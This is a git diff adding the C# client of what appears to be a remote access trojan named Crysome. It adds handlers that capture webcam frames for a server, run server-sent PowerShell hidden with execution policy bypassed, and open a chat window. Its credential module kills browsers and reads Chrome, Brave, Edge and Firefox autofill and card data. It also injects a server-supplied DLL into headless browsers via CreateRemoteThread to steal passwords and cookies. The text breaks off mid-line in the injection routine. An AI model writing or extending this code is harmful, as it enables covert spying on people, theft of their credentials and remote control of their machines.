missing references) + //IL_0099: Expected O, but got Unknown + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Expected O, but got Unknown + Program.Log("[CAM] HandleGetCameraDevices ENTER"); + try + { + string[] cameraDeviceNames = GetCameraDeviceNames(); + Program.Log("[CAM] GetCameraDeviceNames returned " + ((cameraDeviceNames != null) ? cameraDeviceNames.Length : 0) + " devices"); + client.SendPacket((IPacket)new CameraDevicesResponsePacket(cameraDeviceNames)); + Program.Log("[CAM] HandleGetCameraDevices sent response OK"); + } + catch (Exception ex) + { + Program.Log("[CAM] GetCameraDevices EXCEPTION: " + ex.GetType().Name + " " + ex.Message); + Program.Log("[CAM] Stack: " + ex.StackTrace); + try + { + client.SendPacket((IPacket)new CameraDevicesResponsePacket(new string[0])); + Program.Log("[CAM] Sent empty fallback"); + } + catch (Exception ex2) + { + Program.Log("[CAM] Fallback send failed: " + ex2.Message); + } + } + } + + public static void HandleRequestCameraFrame(CrysomeClient client, IPacket packet) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Expected O, but got Unknown + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Expected O, but got Unknown + Program.Log("[CAM] HandleRequestCameraFrame ENTER"); + try + { + RequestCameraFramePacket val = (RequestCameraFramePacket)packet; + Program.Log("[CAM] CaptureCameraFrame idx=" + val.DeviceIndex); + byte[] array = CaptureCameraFrame(val.DeviceIndex); + Program.Log("[CAM] Capture done, " + ((array != null) ? array.Length : 0) + " bytes"); + client.SendPacket((IPacket)new CameraFramePacket(array ?? new byte[0])); + Program.Log("[CAM] HandleRequestCameraFrame sent OK"); + } + catch (Exception ex) + { + Program.Log("[CAM] RequestCameraFrame EXCEPTION: " + ex.GetType().Name + " " + ex.Message); + Program.Log("[CAM] Stack: " + ex.StackTrace); + try + { + client.SendPacket((IPacket)new CameraFramePacket(new byte[0])); + } + catch + { + } + } + } + + public static string[] GetCameraDeviceNames() + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Expected O, but got Unknown + Program.Log("[CAM] GetCameraDeviceNames ENTER"); + try + { + FilterInfoCollection val = new FilterInfoCollection(FilterCategory.VideoInputDevice); + List list = new List(); + for (int i = 0; i < ((CollectionBase)(object)val).Count; i++) + { + list.Add(val[i].Name ?? ("Camera " + i)); + } + return list.ToArray(); + } + catch (FileNotFoundException ex) + { + Program.Log("[CAM] AForge DLL missing: " + ex.FileName + " - copy AForge.Video.DirectShow.dll next to exe"); + return new string[0]; + } + catch (Exception ex2) + { + Program.Log("[CAM] GetCameraDeviceNames: " + ex2.Message); + return new string[0]; + } + } + + private static byte[] CaptureCameraFrame(int deviceIndex) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Expected O, but got Unknown + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Expected O, but got Unknown + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + try + { + FilterInfoCollection val = new FilterInfoCollection(FilterCategory.VideoInputDevice); + if (((CollectionBase)(object)val).Count == 0) + { + return new byte[0]; + } + int num = Math.Max(0, Math.Min(deviceIndex, ((CollectionBase)(object)val).Count - 1)); + VideoCaptureDevice val2 = new VideoCaptureDevice(val[num].MonikerString); + byte[] result = null; + ManualResetEvent ev = new ManualResetEvent(initialState: false); + NewFrameEventHandler val3 = (NewFrameEventHandler)delegate(object s, NewFrameEventArgs e) + { + try + { + using Bitmap bitmap = (Bitmap)e.Frame.Clone(); + using MemoryStream memoryStream = new MemoryStream(); + bitmap.Save(memoryStream, ImageFormat.Jpeg); + result = memoryStream.ToArray(); + } + catch + { + } + ev.Set(); + }; + val2.NewFrame += val3; + val2.Start(); + ev.WaitOne(5000); + val2.SignalToStop(); + val2.WaitForStop(); + val2.NewFrame -= val3; + return result ?? new byte[0]; + } + catch (Exception) + { + return new byte[0]; + } + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/ChatForm.cs b/Crysome.Client/Crysome.Client.Handlers/ChatForm.cs new file mode 100644 index 0000000..8018e6f --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/ChatForm.cs @@ -0,0 +1,95 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Crysome.Client.Handlers; + +public class ChatForm : Form +{ + private readonly Action _onSend; + + private ListBox _listBox; + + private TextBox _textBox; + + private Button _sendBtn; + + public ChatForm(Action onSend) + { + _onSend = onSend; + Text = "Chat"; + base.Size = new Size(400, 350); + base.FormBorderStyle = FormBorderStyle.Sizable; + base.StartPosition = FormStartPosition.CenterScreen; + base.ShowIcon = false; + base.FormClosing += delegate + { + ChatHandlers.OnFormClosed(); + }; + _listBox = new ListBox + { + Dock = DockStyle.Fill, + Font = new Font("Segoe UI", 10f) + }; + Panel panel = new Panel + { + Dock = DockStyle.Bottom, + Height = 40 + }; + _textBox = new TextBox + { + Dock = DockStyle.Fill, + Font = new Font("Segoe UI", 10f), + Margin = new Padding(4) + }; + _sendBtn = new Button + { + Text = "Send", + Dock = DockStyle.Right, + Width = 70 + }; + _textBox.KeyDown += delegate(object s, KeyEventArgs e) + { + if (e.KeyCode == Keys.Return) + { + e.SuppressKeyPress = true; + Send(); + } + }; + _sendBtn.Click += delegate + { + Send(); + }; + panel.Controls.Add(_textBox); + panel.Controls.Add(_sendBtn); + base.Controls.Add(_listBox); + base.Controls.Add(panel); + } + + public void AddMessage(string from, string msg) + { + if (base.InvokeRequired) + { + BeginInvoke((MethodInvoker)delegate + { + AddMessage(from, msg); + }); + } + else if (_listBox != null) + { + _listBox.Items.Add("[" + from + "]: " + msg); + _listBox.TopIndex = Math.Max(0, (_listBox.Items?.Count ?? 1) - 1); + } + } + + private void Send() + { + string text = _textBox?.Text?.Trim(); + if (!string.IsNullOrEmpty(text)) + { + _textBox.Clear(); + AddMessage("You", text); + _onSend?.Invoke(text); + } + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/ChatHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/ChatHandlers.cs new file mode 100644 index 0000000..d316cbd --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/ChatHandlers.cs @@ -0,0 +1,88 @@ +using System.Threading; +using System.Windows.Forms; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; + +namespace Crysome.Client.Handlers; + +public static class ChatHandlers +{ + private static CrysomeClient _client; + + private static ChatForm _form; + + private static Thread _uiThread; + + private static readonly object _lock = new object(); + + public static void HandleChatMessage(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + ChatMessagePacket val = (ChatMessagePacket)packet; + if (string.IsNullOrEmpty(val.Message)) + { + return; + } + _client = client; + EnsureForm(); + try + { + _form?.AddMessage("Server", val.Message); + } + catch + { + } + } + + internal static void OnFormClosed() + { + lock (_lock) + { + _form = null; + } + } + + private static void EnsureForm() + { + lock (_lock) + { + if (_form == null || _form.IsDisposed) + { + _form = new ChatForm(SendToServer); + _uiThread = new Thread((ThreadStart)delegate + { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(defaultValue: false); + Application.Run(_form); + }) + { + IsBackground = true + }; + _uiThread.SetApartmentState(ApartmentState.STA); + _uiThread.Start(); + while (_form == null || !_form.IsHandleCreated) + { + Thread.Sleep(50); + } + } + } + } + + private static void SendToServer(string msg) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Expected O, but got Unknown + try + { + CrysomeClient client = _client; + if (client != null && client.IsConnected) + { + _client.SendPacket((IPacket)new ChatMessagePacket(msg)); + } + } + catch + { + } + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/CommandHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/CommandHandlers.cs new file mode 100644 index 0000000..c51f564 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/CommandHandlers.cs @@ -0,0 +1,72 @@ +using System; +using System.Diagnostics; +using System.Text; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; + +namespace Crysome.Client.Handlers; + +public static class CommandHandlers +{ + private const int MaxOutput = 512000; + + public static void HandleRunCommand(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Expected O, but got Unknown + string text = RunPowerShell(((RunCommandRequestPacket)packet).Command); + client.SendPacket((IPacket)new RunCommandResponsePacket(text)); + } + + private static string RunPowerShell(string command) + { + try + { + string text = Convert.ToBase64String(Encoding.Unicode.GetBytes(command)); + ProcessStartInfo startInfo = new ProcessStartInfo + { + FileName = "powershell.exe", + Arguments = "-NoProfile -ExecutionPolicy Bypass -EncodedCommand " + text, + UseShellExecute = false, + RedirectStandardOutput = true, + RedirectStandardError = true, + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden + }; + StringBuilder sb = new StringBuilder(); + using (Process process = Process.Start(startInfo)) + { + process.OutputDataReceived += delegate(object s, DataReceivedEventArgs e) + { + if (e.Data != null && sb.Length < 512000) + { + sb.AppendLine(e.Data); + } + }; + process.ErrorDataReceived += delegate(object s, DataReceivedEventArgs e) + { + if (e.Data != null && sb.Length < 512000) + { + sb.AppendLine(e.Data); + } + }; + process.BeginOutputReadLine(); + process.BeginErrorReadLine(); + process.WaitForExit(60000); + } + string text2 = sb.ToString(); + if (text2.Length > 512000) + { + text2 = text2.Substring(0, 512000) + "...(truncated)"; + } + return string.IsNullOrEmpty(text2) ? "(no output)" : text2; + } + catch (Exception ex) + { + return "Error: " + ex.Message; + } + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/CredentialsHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/CredentialsHandlers.cs new file mode 100644 index 0000000..fc224e4 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/CredentialsHandlers.cs @@ -0,0 +1,876 @@ +using System; +using System.Collections.Generic; +using System.Data.Common; +using System.Data.SQLite; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; +using Microsoft.Win32; + +namespace Crysome.Client.Handlers; + +public static class CredentialsHandlers +{ + private struct STARTUPINFOW + { + public int cb; + + public IntPtr lpReserved; + + public IntPtr lpDesktop; + + public IntPtr lpTitle; + + public uint dwX; + + public uint dwY; + + public uint dwXSize; + + public uint dwYSize; + + public uint dwXCountChars; + + public uint dwYCountChars; + + public uint dwFillAttribute; + + public uint dwFlags; + + public short wShowWindow; + + public short cbReserved2; + + public IntPtr lpReserved2; + + public IntPtr hStdInput; + + public IntPtr hStdOutput; + + public IntPtr hStdError; + } + + private struct PROCESS_INFORMATION + { + public IntPtr hProcess; + + public IntPtr hThread; + + public uint dwProcessId; + + public uint dwThreadId; + } + + private const uint CREATE_SUSPENDED = 4u; + + private const uint CREATE_NO_WINDOW = 134217728u; + + private const uint DETACHED_PROCESS = 8u; + + private const uint STARTF_USESHOWWINDOW = 1u; + + private const uint STARTF_USESTDHANDLES = 256u; + + private const int MEM_COMMIT = 4096; + + private const int MEM_RESERVE = 8192; + + private const int PAGE_READWRITE = 4; + + private const int MEM_RELEASE = 32768; + + private const uint WAIT_TIMEOUT = 258u; + + private static readonly string[] BrowserNames = new string[3] { "Chrome", "Brave", "Edge" }; + + private static readonly string[] BrowserExes = new string[3] { "chrome.exe", "brave.exe", "msedge.exe" }; + + private static readonly string[] ChromeRegPaths = new string[2] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", "SOFTWARE\\Google\\Chrome\\BLBeacon" }; + + private static readonly string[] BraveRegPaths = new string[1] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\brave.exe" }; + + private static readonly string[] EdgeRegPaths = new string[1] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\msedge.exe" }; + + private static readonly string[] ChromeFallbackPaths = new string[3] { "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe", "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe", "%LocalAppData%\\Google\\Chrome\\Application\\chrome.exe" }; + + private static readonly string[] BraveFallbackPaths = new string[2] { "%ProgramFiles%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", "%LocalAppData%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" }; + + private static readonly string[] EdgeFallbackPaths = new string[2] { "%ProgramFiles(x86)%\\Microsoft\\Edge\\Application\\msedge.exe", "%ProgramFiles%\\Microsoft\\Edge\\Application\\msedge.exe" }; + + private static readonly string[][] BrowserRegPaths = new string[3][] { ChromeRegPaths, BraveRegPaths, EdgeRegPaths }; + + private static readonly string[][] BrowserFallbacks = new string[3][] { ChromeFallbackPaths, BraveFallbackPaths, EdgeFallbackPaths }; + + private static string LocalAppData => Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + + private static string RoamingAppData => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFOW lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UIntPtr nSize, out UIntPtr lpNumberOfBytesWritten); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode)] + private static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi)] + private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool GetExitCodeThread(IntPtr hThread, out uint lpExitCode); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern uint ResumeThread(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); + + private static void KillBrowsers() + { + string[] array = new string[6] { "chrome", "brave", "msedge", "firefox", "opera", "operagx" }; + foreach (string processName in array) + { + try + { + Process[] processesByName = Process.GetProcessesByName(processName); + foreach (Process process in processesByName) + { + try + { + process.Kill(); + process.WaitForExit(1000); + } + catch + { + } + finally + { + try + { + process.Dispose(); + } + catch + { + } + } + } + } + catch + { + } + } + Thread.Sleep(500); + } + + private static List<(string Browser, string Name, string Value)> ReadChromiumAutofill(string webDataPath) + { + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Expected O, but got Unknown + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_0100: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Expected O, but got Unknown + List<(string, string, string)> list = new List<(string, string, string)>(); + if (!File.Exists(webDataPath)) + { + return list; + } + string text = Path.Combine(Path.GetTempPath(), "wd_" + Guid.NewGuid().ToString("N") + ".db"); + try + { + File.Copy(webDataPath, text, overwrite: true); + SQLiteConnection val = new SQLiteConnection("Data Source=" + text + ";Version=3;ReadOnly=True;"); + try + { + ((DbConnection)(object)val).Open(); + SQLiteCommand val2 = new SQLiteCommand("SELECT name, value FROM autofill LIMIT 5000", val); + try + { + SQLiteDataReader val3 = val2.ExecuteReader(); + try + { + while (((DbDataReader)(object)val3).Read()) + { + string text2 = (((DbDataReader)(object)val3).IsDBNull(0) ? "" : ((DbDataReader)(object)val3).GetString(0)); + string text3 = (((DbDataReader)(object)val3).IsDBNull(1) ? "" : ((DbDataReader)(object)val3).GetString(1)); + if (!string.IsNullOrWhiteSpace(text2) || !string.IsNullOrWhiteSpace(text3)) + { + list.Add((text2, text3, "")); + } + } + } + finally + { + ((IDisposable)val3)?.Dispose(); + } + } + finally + { + ((IDisposable)val2)?.Dispose(); + } + try + { + SQLiteCommand val4 = new SQLiteCommand("SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards LIMIT 100", val); + try + { + SQLiteDataReader val5 = val4.ExecuteReader(); + try + { + while (((DbDataReader)(object)val5).Read()) + { + string text4 = (((DbDataReader)(object)val5).IsDBNull(0) ? "" : ((DbDataReader)(object)val5).GetString(0)); + string text5 = (((DbDataReader)(object)val5).IsDBNull(1) ? "" : "[encrypted]"); + string text6 = (((DbDataReader)(object)val5).IsDBNull(2) ? "" : ((DbDataReader)(object)val5).GetString(2)) + "/" + (((DbDataReader)(object)val5).IsDBNull(3) ? "" : ((DbDataReader)(object)val5).GetString(3)); + if (!string.IsNullOrWhiteSpace(text4)) + { + list.Add(("CreditCard: " + text4, "Number: " + text5, "Exp: " + text6)); + } + } + } + finally + { + ((IDisposable)val5)?.Dispose(); + } + } + finally + { + ((IDisposable)val4)?.Dispose(); + } + } + catch + { + } + } + finally + { + ((IDisposable)val)?.Dispose(); + } + } + catch + { + } + finally + { + try + { + File.Delete(text); + } + catch + { + } + } + return list; + } + + private static List<(string Browser, string Name, string Value)> ReadFirefoxAutofill(string profileDir) + { + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Expected O, but got Unknown + List<(string, string, string)> list = new List<(string, string, string)>(); + if (!Directory.Exists(profileDir)) + { + return list; + } + string text = Path.Combine(profileDir, "formhistory.sqlite"); + if (!File.Exists(text)) + { + return list; + } + string text2 = Path.Combine(Path.GetTempPath(), "ffh_" + Guid.NewGuid().ToString("N") + ".db"); + try + { + File.Copy(text, text2, overwrite: true); + SQLiteConnection val = new SQLiteConnection("Data Source=" + text2 + ";Version=3;ReadOnly=True;"); + try + { + ((DbConnection)(object)val).Open(); + SQLiteCommand val2 = new SQLiteCommand("SELECT fieldname, value FROM moz_formhistory LIMIT 2000", val); + try + { + SQLiteDataReader val3 = val2.ExecuteReader(); + try + { + while (((DbDataReader)(object)val3).Read()) + { + string text3 = (((DbDataReader)(object)val3).IsDBNull(0) ? "" : ((DbDataReader)(object)val3).GetString(0)); + string text4 = (((DbDataReader)(object)val3).IsDBNull(1) ? "" : ((DbDataReader)(object)val3).GetString(1)); + if (!string.IsNullOrWhiteSpace(text3) || !string.IsNullOrWhiteSpace(text4)) + { + list.Add((text3, text4, "")); + } + } + } + finally + { + ((IDisposable)val3)?.Dispose(); + } + } + finally + { + ((IDisposable)val2)?.Dispose(); + } + } + finally + { + ((IDisposable)val)?.Dispose(); + } + } + catch + { + } + finally + { + try + { + File.Delete(text2); + } + catch + { + } + } + return list; + } + + private static List<(string Browser, string Name, string Value, string Value2)> GetAllAutofills() + { + List<(string, string, string, string)> list = new List<(string, string, string, string)>(); + string text = Path.Combine(LocalAppData, "Google\\Chrome\\User Data\\Default\\Web Data"); + if (File.Exists(text)) + { + foreach (var (item, item2, item3) in ReadChromiumAutofill(text)) + { + list.Add(("Chrome", item, item2, item3)); + } + } + string text2 = Path.Combine(LocalAppData, "BraveSoftware\\Brave-Browser\\User Data\\Default\\Web Data"); + if (File.Exists(text2)) + { + foreach (var (item4, item5, item6) in ReadChromiumAutofill(text2)) + { + list.Add(("Brave", item4, item5, item6)); + } + } + string text3 = Path.Combine(LocalAppData, "Microsoft\\Edge\\User Data\\Default\\Web Data"); + if (File.Exists(text3)) + { + foreach (var (item7, item8, item9) in ReadChromiumAutofill(text3)) + { + list.Add(("Edge", item7, item8, item9)); + } + } + string text4 = FirefoxProfileDir(); + if (text4 != null) + { + foreach (var (item10, item11, item12) in ReadFirefoxAutofill(text4)) + { + list.Add(("Firefox", item10, item11, item12)); + } + } + return list; + } + + private static string FirefoxProfileDir() + { + try + { + string path = Path.Combine(RoamingAppData, "Mozilla\\Firefox\\Profiles"); + if (!Directory.Exists(path)) + { + return null; + } + string[] directories = Directory.GetDirectories(path); + foreach (string text in directories) + { + if (File.Exists(Path.Combine(text, "formhistory.sqlite"))) + { + return text; + } + } + } + catch + { + } + return null; + } + + private static string EscapeJsonString(string s) + { + if (s == null) + { + return ""; + } + return s.Replace("\\", "\\\\").Replace("\"", "\\\"").Replace("\n", "\\n") + .Replace("\r", "\\r") + .Replace("\t", "\\t"); + } + + private static string BuildAutofillJson(List<(string Browser, string Name, string Value, string Value2)> entries) + { + if (entries == null || entries.Count == 0) + { + return "[]"; + } + StringBuilder stringBuilder = new StringBuilder("["); + for (int i = 0; i < entries.Count; i++) + { + if (i > 0) + { + stringBuilder.Append(","); + } + stringBuilder.Append("{\"browser\":\"" + EscapeJsonString(entries[i].Browser) + "\",\"name\":\"" + EscapeJsonString(entries[i].Name) + "\",\"value\":\"" + EscapeJsonString(entries[i].Value + " " + entries[i].Value2).Trim() + "\"}"); + } + stringBuilder.Append("]"); + return stringBuilder.ToString(); + } + + public static void HandleRequestCredentials(CrysomeClient client, IPacket packet) + { + Task.Run(delegate + { + DoHandleRequestCredentials(client, packet); + }); + } + + private static void DoHandleRequestCredentials(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + RequestCredentialsPacket val = (RequestCredentialsPacket)packet; + string text = null; + string text2 = ""; + string text3 = ""; + string text4 = ""; + StringBuilder stringBuilder = new StringBuilder(); + bool flag = val.RequestType == 0 || val.RequestType == 2 || val.RequestType == 4; + bool flag2 = val.RequestType == 1 || val.RequestType == 2 || val.RequestType == 4; + bool flag3 = val.RequestType == 3 || val.RequestType == 4; + stringBuilder.AppendLine("Type=" + val.RequestType + " DLL=" + ((val.DllBytes == null) ? "null" : (val.DllBytes.Length + "B")) + " wantPW=" + flag + " wantCK=" + flag2 + " wantAF=" + flag3); + try + { + KillBrowsers(); + if (flag3) + { + try + { + List<(string, string, string, string)> allAutofills = GetAllAutofills(); + text4 = BuildAutofillJson(allAutofills); + stringBuilder.AppendLine("Autofills: " + allAutofills.Count + " entries"); + } + catch (Exception ex) + { + stringBuilder.AppendLine("Autofill error: " + ex.Message); + } + } + if (flag || flag2) + { + string text5 = Path.Combine(Path.GetTempPath(), "abe_decrypt_" + Guid.NewGuid().ToString("N") + ".dll"); + if (val.DllBytes != null && val.DllBytes.Length != 0) + { + try + { + File.WriteAllBytes(text5, val.DllBytes); + } + catch (Exception ex2) + { + SendResponse(client, "Failed to write DLL: " + ex2.Message, null, null, text4); + return; + } + } + else + { + string lastDllPath = FileTransferHandlers.LastDllPath; + if (string.IsNullOrEmpty(lastDllPath) || !File.Exists(lastDllPath)) + { + SendResponse(client, "DLL not provided.", null, null, text4); + return; + } + text5 = lastDllPath; + } + List list = new List(); + List list2 = new List(); + for (int i = 0; i < BrowserExes.Length; i++) + { + string browserPath = GetBrowserPath(i); + stringBuilder.AppendLine("Browser[" + BrowserExes[i] + "]: " + (browserPath ?? "NOT FOUND")); + if (string.IsNullOrEmpty(browserPath)) + { + continue; + } + bool flag4 = BrowserExes[i].Equals("msedge.exe", StringComparison.OrdinalIgnoreCase); + IntPtr hProcessOut = IntPtr.Zero; + bool flag5 = InjectAndRun(text5, browserPath, BrowserExes[i], out hProcessOut); + stringBuilder.AppendLine(" inject=" + flag5); + if (!flag5) + { + continue; + } + int maxWaitMs = (flag4 ? 30000 : 15000); + string text6 = WaitForOutput(BrowserNames[i], maxWaitMs, stringBuilder); + if (!string.IsNullOrEmpty(text6)) + { + foreach (string item in EnumerateProfileDirs(text6)) + { + if (flag) + { + string path = Path.Combine(item, "passwords.json"); + if (File.Exists(path)) + { + try + { + list.Add(File.ReadAllText(path)); + } + catch + { + } + } + } + if (!flag2) + { + continue; + } + string path2 = Path.Combine(item, "cookies.json"); + if (File.Exists(path2)) + { + try + { + list2.Add(File.ReadAllText(path2)); + } + catch + { + } + } + } + } + if (hProcessOut != IntPtr.Zero) + { + try + { + TerminateProcess(hProcessOut, 0u); + WaitForSingleObject(hProcessOut, 2000u); + } + catch + { + } + try + { + CloseHandle(hProcessOut); + } + catch + { + } + } + KillBrowsers(); + } + text2 = (flag ? string.Join("\n", list.Where((string s) => !string.IsNullOrWhiteSpace(s))) : ""); + text3 = (flag2 ? string.Join("\n", list2.Where((string s) => !string.IsNullOrWhiteSpace(s))) : ""); + try + { + string text7 = Path.Combine(Path.GetTempPath(), "csm_cred_debug"); + Directory.CreateDirectory(text7); + File.WriteAllText(Path.Combine(text7, "passwords_raw.json"), text2); + File.WriteAllText(Path.Combine(text7, "cookies_raw.json"), text3); + File.WriteAllText(Path.Combine(text7, "autofills_raw.json"), text4); + File.WriteAllText(Path.Combine(text7, "diag.txt"), stringBuilder.ToString()); + } + catch + { + } + CleanupOutputDirectories(); + } + } + catch (Exception ex3) + { + text = ex3.Message; + Program.Log("Credentials handler error: " + ex3.ToString()); + stringBuilder.AppendLine("EXCEPTION: " + ex3.Message); + } + if (string.IsNullOrEmpty(text2) && string.IsNullOrEmpty(text3) && string.IsNullOrEmpty(text4) && string.IsNullOrEmpty(text)) + { + text = stringBuilder.ToString().Trim(); + } + SendResponse(client, text, text2, text3, text4); + } + + private static string WaitForOutput(string browserName, int maxWaitMs, StringBuilder diag) + { + string text = Path.Combine(LocalAppData, "output", browserName); + string text2 = Path.Combine(Path.GetTempPath(), "output", browserName); + Stopwatch stopwatch = Stopwatch.StartNew(); + while (stopwatch.ElapsedMilliseconds < maxWaitMs) + { + string[] array = new string[2] { text, text2 }; + foreach (string text3 in array) + { + if (!Directory.Exists(text3)) + { + Thread.Sleep(500); + continue; + } + string[] array2 = SafeGetDirectories(text3); + for (int j = 0; j < array2.Length; j++) + { + if (SafeGetFiles(array2[j]).Length != 0) + { + diag.AppendLine(" output found at: " + text3 + " (" + stopwatch.ElapsedMilliseconds + "ms)"); + return text3; + } + } + } + Thread.Sleep(500); + } + diag.AppendLine(" output NOT found after " + maxWaitMs + "ms"); + return null; + } + + private static IEnumerable EnumerateProfileDirs(string outputBase) + { + string[] array = SafeGetDirectories(outputBase); + for (int i = 0; i < array.Length; i++) + { + yield return array[i]; + } + } + + private static string[] SafeGetDirectories(string path) + { + try + { + return Directory.Exists(path) ? Directory.GetDirectories(path) : Array.Empty(); + } + catch + { + return Array.Empty(); + } + } + + private static string[] SafeGetFiles(string path) + { + try + { + return Directory.Exists(path) ? Directory.GetFiles(path) : Array.Empty(); + } + catch + { + return Array.Empty(); + } + } + + private static string GetBrowserPath(int browserIndex) + { + string[] array = BrowserRegPaths[browserIndex]; + foreach (string subKey in array) + { + string text = TryRegistryValue(Registry.LocalMachine, subKey, ""); + if (!string.IsNullOrEmpty(text) && File.Exists(text)) + { + return text; + } + text = TryRegistryValue(Registry.CurrentUser, subKey, ""); + if (!string.IsNullOrEmpty(text) && File.Exists(text)) + { + return text; + } + } + array = BrowserFallbacks[browserIndex]; + for (int i = 0; i < array.Length; i++) + { + string text2 = Environment.ExpandEnvironmentVariables(array[i]); + if (File.Exists(text2)) + { + return text2; + } + } + return null; + } + + private static string TryRegistryValue(RegistryKey hive, string subKey, string valueName) + { + try + { + using RegistryKey registryKey = hive.OpenSubKey(subKey); + return registryKey?.GetValue(valueName) as string; + } + catch + { + return null; + } + } + + private static bool InjectAndRun(string dllPath, string browserExePath, string exeName, out IntPtr hProcessOut) + { + hProcessOut = IntPtr.Zero; + IntPtr intPtr = IntPtr.Zero; + IntPtr intPtr2 = IntPtr.Zero; + IntPtr intPtr3 = IntPtr.Zero; + IntPtr intPtr4 = IntPtr.Zero; + bool flag = exeName.Equals("msedge.exe", StringComparison.OrdinalIgnoreCase); + try + { + string lpCommandLine = ((!flag) ? ("\"" + browserExePath + "\" --headless=new --disable-gpu --no-sandbox --disable-extensions --disable-software-rasterizer --disable-dev-shm-usage --disable-logging --silent-launch --no-first-run --no-default-browser-check --disable-popup-blocking --disable-background-networking --disable-sync --disable-translate --metrics-recording-only --mute-audio --hide-scrollbars --window-position=-10000,-10000 --window-size=1,1 about:blank") : ("\"" + browserExePath + "\" --headless=new --disable-gpu --no-sandbox --disable-extensions --disable-software-rasterizer --disable-dev-shm-usage --disable-logging --silent-launch --no-first-run --no-default-browser-check --disable-popup-blocking --disable-background-networking --disable-sync --disable-translate --metrics-recording-only --mute-audio --hide-scrollbars --window-position=-10000,-10000 --window-size=1,1 